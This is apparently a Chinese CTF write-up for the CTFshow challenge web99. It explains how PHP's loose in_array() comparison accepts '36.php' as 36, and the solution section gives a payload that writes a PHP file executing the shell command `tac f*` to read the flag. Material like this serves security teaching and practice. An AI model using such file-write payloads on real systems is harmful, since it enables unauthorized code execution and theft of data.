目录

  • 源码
  • 思路
  • 题解
  • 总结

源码

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com*/highlight_file(__FILE__);
$allow = array();  //$allow = [];
for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i));  //$allow数组中随机传入[1,$i]的值
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){  file_put_contents($_GET['n'], $_POST['content']); //往文件写入内容
}?>

思路

(Hex)0x36d  = (Dec)877
array_push  向数组尾部随机插入一个元素
in_array() 函数搜索数组中是否存在指定的值。

正常流程看起来没什么漏洞,但是ctf一定有解
查了一下in_array()


type参数是判断数据类型是否相同,突然想起来$array数组里面的是int,我们传入的是字符串,在php字符串和int比较,字符串会被转换成int,因为是弱类型转换,所以 字符串中数字后面的字符串会被忽略

由于in_array没有设置type,我们可以输入36.php,转换之后也就是36,肯定是in_array的,满足条件

题解

多试几次

get:  n=36.php
post: content=<?=`tac f*`;

总结

水题

CTFshow php特性 web99相关推荐

  1. ctfshow php特性 下

    目录 web113 web114 web115 web123(php解析特性) web125 web126 web127(php解析特性) web128 web129 web130 web131 we ...

  2. ctfshow php特性(89——150plus)

    web89 这题的逻辑是如果存在$_GET['num'],则用正则表达式匹配$num中的值,如果成功匹配则程序终止于"no no no",否则进行下一步,如果intval($num ...

  3. ctfshow php特性 web89-web115 web123-150wp

    php特性 参考博客仍然是南神博客 文章目录 php特性 web89 web90 web91 web92 web93 web94 web95 web96 web97 web98 web99 web10 ...

  4. CTFshow php特性 web150plus

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  5. CTFshow php特性 web150

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  6. CTFshow php特性 web147

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  7. CTFshow php特性 web140

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  8. CTFshow php特性 web138

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  9. CTFshow php特性 web137

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

最新文章

  1. 第三篇 :Mysql存储引擎、数据导入导出、管理表记录、匹配条件
  2. python不同版本共存_多版本Python共存的配置方法
  3. stm32_DMA采集一个AD数据_并通过DMA向串口发送
  4. elementui 弹窗 显示详细信息_ElementUI中el-table双击单元格事件并获取指定列的值和弹窗显示详细信息...
  5. [coursera] [design] Hangman
  6. 智能会议系统(5)---SipDemo
  7. 深度学习——卷积块回顾
  8. Rhino基础教程---三管混接
  9. web安全工具库(笔记)----端口扫描(端口扫描器.exe)
  10. linux服务器系统时间和bios时间,Linux系统时间, 硬件BIOS时间的校准与同步
  11. 十条网站盈利模式分析总结
  12. 流利阅读 2019.1.22 Theresa May loses big over her Brexit deal
  13. 【教程】win10下安装Biolinux双系统
  14. 【Android 11】【WiFi模块】WiFi打开函数调用流程图
  15. 私钥,公钥,密钥的理解,不要钻死胡同
  16. JavaScript专题(三)防抖
  17. llmp重启mysql_LNMP使用中mysql宕机挂掉后自动重启脚本 - 老牛博客
  18. 数组的趣味应用-鲁智深吃馒头
  19. Python3,1行代码,制作GUI图形界面,果然被种草了。
  20. ElasticSearch基本操作手册

热门文章

  1. malloc动态分配多维数组
  2. 5. SQL Server数据库性能监控 - 当前请求
  3. Keyboard驱动中button中断的处理机制
  4. RHCE是否还值得考取?
  5. AOP实现Controller参数日志
  6. 开源:Sagit.Framework For IOS 开发框架
  7. 启动mysql的innodb monitor功能
  8. putty 显示 ubuntu的文件乱码
  9. 【iCore3 双核心板_ uC/OS-III】例程一:认识 uC/OS-III
  10. Linux rpm 命令参数